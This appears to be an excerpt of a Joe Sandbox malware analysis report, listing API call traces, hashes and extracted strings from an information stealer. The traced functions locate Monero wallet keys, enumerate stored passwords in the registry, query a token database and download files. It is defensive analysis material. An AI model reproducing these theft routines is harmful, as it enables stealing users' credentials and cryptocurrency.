Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: bd24e6352a69d569c8779adaaca367c843eb88ea0b53c6e08043872f0db57a0a
Instruction ID: 0ed35a2b71e8d04784fc2e52af5741ea2d46990a806bed0346f3f40091522ba0
Opcode Fuzzy Hash: bd24e6352a69d569c8779adaaca367c843eb88ea0b53c6e08043872f0db57a0a
Instruction Fuzzy Hash: 79C195B590011D9BCB14EF61DC89FEA7378BB94304F1445ACF50AA7182DA70EA89DF91

Function 00CC4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CC8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00CC8E0B

lstrcat.KERNEL32(?,00000000), ref: 00CC42EC
lstrcat.KERNEL32(?,0189E390), ref: 00CC430B
lstrcat.KERNEL32(?,?), ref: 00CC431F
lstrcat.KERNEL32(?,0189CF90), ref: 00CC4333

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CC8D90: GetFileAttributesA.KERNEL32(00000000,?,00CB1B54,?,?,00CD564C,?,?,00CD0E1F), ref: 00CC8D9F

Part of subcall function 00CB9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00CB9D39

Part of subcall function 00CB99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CB99EC
Part of subcall function 00CB99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CB9A11
Part of subcall function 00CB99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00CB9A31
Part of subcall function 00CB99C0: ReadFile.KERNEL32(000000FF,?,00000000,00CB148F,00000000), ref: 00CB9A5A
Part of subcall function 00CB99C0: LocalFree.KERNEL32(00CB148F), ref: 00CB9A90
Part of subcall function 00CB99C0: CloseHandle.KERNEL32(000000FF), ref: 00CB9A9A

Part of subcall function 00CC93C0: GlobalAlloc.KERNEL32(00000000,00CC43DD,00CC43DD), ref: 00CC93D3

StrStrA.SHLWAPI(?,0189E468), ref: 00CC43F3
GlobalFree.KERNEL32(?), ref: 00CC4512

Part of subcall function 00CB9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CB4EEE,00000000,00000000), ref: 00CB9AEF
Part of subcall function 00CB9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00CB4EEE,00000000,?), ref: 00CB9B01
Part of subcall function 00CB9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CB4EEE,00000000,00000000), ref: 00CB9B2A
Part of subcall function 00CB9AC0: LocalFree.KERNEL32(?,?,?,?,00CB4EEE,00000000,?), ref: 00CB9B3F

lstrcat.KERNEL32(?,00000000), ref: 00CC44A3
StrCmpCA.SHLWAPI(?,00CD08D1), ref: 00CC44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00CC44D2
lstrcat.KERNEL32(00000000,?), ref: 00CC44E5
lstrcat.KERNEL32(00000000,00CD0FB8), ref: 00CC44F4

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 575362ad4b92cbc727476fba3f964314243e5471c6357ce378a8021333b90d11
Instruction ID: 29acedd2c80ad280441498af6f774b6e34053b598ee45933b9b9376c69327c57
Opcode Fuzzy Hash: 575362ad4b92cbc727476fba3f964314243e5471c6357ce378a8021333b90d11
Instruction Fuzzy Hash: 1E715AB6900208ABDB14EBA0DC5AFEE7379BB88304F04859CF609A7181DA75DB49DF51

Function 00CB1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CB12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CB12B4
Part of subcall function 00CB12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00CB12BB
Part of subcall function 00CB12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00CB12D7
Part of subcall function 00CB12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00CB12F5
Part of subcall function 00CB12A0: RegCloseKey.ADVAPI32(?), ref: 00CB12FF

lstrcat.KERNEL32(?,00000000), ref: 00CB134F
lstrlen.KERNEL32(?), ref: 00CB135C
lstrcat.KERNEL32(?,.keys), ref: 00CB1377

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

Part of subcall function 00CC8B60: GetSystemTime.KERNEL32(00CD0E1A,018992C8,00CD05AE,?,?,00CB13F9,?,0000001A,00CD0E1A,00000000,?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CC8B86

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00CB1465

Part of subcall function 00CCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CCA7E6

Part of subcall function 00CB99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CB99EC
Part of subcall function 00CB99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CB9A11
Part of subcall function 00CB99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00CB9A31
Part of subcall function 00CB99C0: ReadFile.KERNEL32(000000FF,?,00000000,00CB148F,00000000), ref: 00CB9A5A
Part of subcall function 00CB99C0: LocalFree.KERNEL32(00CB148F), ref: 00CB9A90
Part of subcall function 00CB99C0: CloseHandle.KERNEL32(000000FF), ref: 00CB9A9A

DeleteFileA.KERNEL32(00000000), ref: 00CB14EF

Strings

wallet_path, xrefs: 00CB1330
SOFTWARE\monero-project\monero-core, xrefs: 00CB1335
.keys, xrefs: 00CB136B
\Monero\wallet.keys, xrefs: 00CB138D

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 138251a77cd45ed4f3909f475f8be306930ee8376df92aeb20b3cb8fb9182643
Instruction ID: 8f7193c37196d408f0328f5f849453bba6e1b1b405f972e8b23f32d000216ca3
Opcode Fuzzy Hash: 138251a77cd45ed4f3909f475f8be306930ee8376df92aeb20b3cb8fb9182643
Instruction Fuzzy Hash: 525121B1D5011C5BCB15EB60DC96FED733CAB54304F4041ACF60AA6082EE706B8ADFA6

Function 00CB75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CB72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00CB733A
Part of subcall function 00CB72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00CB73B1
Part of subcall function 00CB72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00CB740D
Part of subcall function 00CB72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00CB7452
Part of subcall function 00CB72D0: HeapFree.KERNEL32(00000000), ref: 00CB7459

lstrcat.KERNEL32(00000000,00CD17FC), ref: 00CB7606
lstrcat.KERNEL32(00000000,00000000), ref: 00CB7648
lstrcat.KERNEL32(00000000, : ), ref: 00CB765A
lstrcat.KERNEL32(00000000,00000000), ref: 00CB768F
lstrcat.KERNEL32(00000000,00CD1804), ref: 00CB76A0
lstrcat.KERNEL32(00000000,00000000), ref: 00CB76D3
lstrcat.KERNEL32(00000000,00CD1808), ref: 00CB76ED
task.LIBCPMTD ref: 00CB76FB

Strings

: , xrefs: 00CB764E

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 0ed67447b16840b99c0843e9e395e81d25c648bfa706a607051e11491b6501bf
Instruction ID: 4626daa54428301cb4b7e7fef942e02660d82b9b81f3a38a0a4407d35d54730b
Opcode Fuzzy Hash: 0ed67447b16840b99c0843e9e395e81d25c648bfa706a607051e11491b6501bf
Instruction Fuzzy Hash: EA314EB1901109EFCB08EBB5DC9ADFE7778BB84301F184128F506BB291DA34A94ADB51

Function 00CC8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0189E1F8,00000000,?,00CD0E2C,00000000,?,00000000), ref: 00CC8130
RtlAllocateHeap.NTDLL(00000000), ref: 00CC8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00CC8158
__aulldiv.LIBCMT ref: 00CC8172
__aulldiv.LIBCMT ref: 00CC8180
wsprintfA.USER32 ref: 00CC81AC

Strings

%d MB, xrefs: 00CC81A3
@, xrefs: 00CC814D

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: cd03d54873ba6de7b1fa164cb8e90aa29ccb0cf4c74479243d955347e5a89180
Instruction ID: 6e1db13288829fabc303309865fc8ce9e78f24da8cf07612d633e92e80122315
Opcode Fuzzy Hash: cd03d54873ba6de7b1fa164cb8e90aa29ccb0cf4c74479243d955347e5a89180
Instruction Fuzzy Hash: 18213BB1E44248ABDB00DFD5CC49FAFB7B8FB44B10F144119F605BB280D77869058BA5

Function 00CB60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CCA7E6

Part of subcall function 00CB47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00CB4839
Part of subcall function 00CB47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00CB4849

InternetOpenA.WININET(00CD0DF7,00000001,00000000,00000000,00000000), ref: 00CB610F
StrCmpCA.SHLWAPI(?,0189E6F8), ref: 00CB6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00CB618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00CB61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00CB61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00CB620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00CB6249
InternetCloseHandle.WININET(?), ref: 00CB6253
InternetCloseHandle.WININET(00000000), ref: 00CB6260

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: e6a14ae941e78c0095bc2a396b6636ca5ae8fcf33f6e137f0f7a74687c628a58
Instruction ID: dd8e71af95cbd4c2e936dd748229da40106144fff3cab99cc074df9bb9b79fde
Opcode Fuzzy Hash: e6a14ae941e78c0095bc2a396b6636ca5ae8fcf33f6e137f0f7a74687c628a58
Instruction Fuzzy Hash: A95161B1900208AFDB20DF51DC49FEE77B8EB44705F1040A9E609A71C0DB746A89DF56

Function 00CB72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00CB733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00CB73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00CB740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00CB7452
HeapFree.KERNEL32(00000000), ref: 00CB7459
task.LIBCPMTD ref: 00CB7555

Strings

Password, xrefs: 00CB7401

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 608dbe2ecdbd961af392f03cbebc2f2305647f0c96bca44bd860344c7334b8d9
Instruction ID: 432f6d74dbff0d727a79399486a456140d2b5d38189e7072799e94d866058f66
Opcode Fuzzy Hash: 608dbe2ecdbd961af392f03cbebc2f2305647f0c96bca44bd860344c7334b8d9
Instruction Fuzzy Hash: 69613BB59041689BDB24DF50DC45BD9B7BCBF44340F0081E9E649A6141DFB06BC9DFA1

Function 00CBBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

Part of subcall function 00CCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CCA7E6

lstrlen.KERNEL32(00000000), ref: 00CBBC9F

Part of subcall function 00CC8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00CC8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00CBBCCD
lstrlen.KERNEL32(00000000), ref: 00CBBDA5
lstrlen.KERNEL32(00000000), ref: 00CBBDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 00CBBBEB
AccountTokens, xrefs: 00CBBB49
AccountTokens, xrefs: 00CBBABA
AccountId, xrefs: 00CBBCC4

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 3e93e44e32e03a45424aeea7e60c53ff9ff047981e97f833fcfd21d222e6f682
Instruction ID: 2327d980b64e228c44c7c5aa36d6b61b24d0f9724f0b8f14a5ed0ddb43d21bc3
Opcode Fuzzy Hash: 3e93e44e32e03a45424aeea7e60c53ff9ff047981e97f833fcfd21d222e6f682
Instruction Fuzzy Hash: 2CB12C7191010CABDB14FBA0DD9AFEE7338AF54304F44416DF506A61A1EF346E49DBA2

Function 00CC6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00CC6774
ExitProcess.KERNEL32 ref: 00CC67A5
ExitProcess.KERNEL32 ref: 00CC67AF
ExitProcess.KERNEL32 ref: 00CC67B9
ExitProcess.KERNEL32 ref: 00CC67C3
ExitProcess.KERNEL32 ref: 00CC67CD

Strings

*, xrefs: 00CC678C

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 1996c522e0aab79726539ac115c653da8e4446b9d9d39c9cad52708edc79b5ae
Instruction ID: 8740dd756725a399766b2f7df469db4a4d9bd51c6eba78a175d553081c590be4
Opcode Fuzzy Hash: 1996c522e0aab79726539ac115c653da8e4446b9d9d39c9cad52708edc79b5ae
Instruction Fuzzy Hash: 86F03A70904209EFD344AFE2E909F3C7BB0FB45702F0801AAE609AA2D0D6705B41DBD6

Function 00CB4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

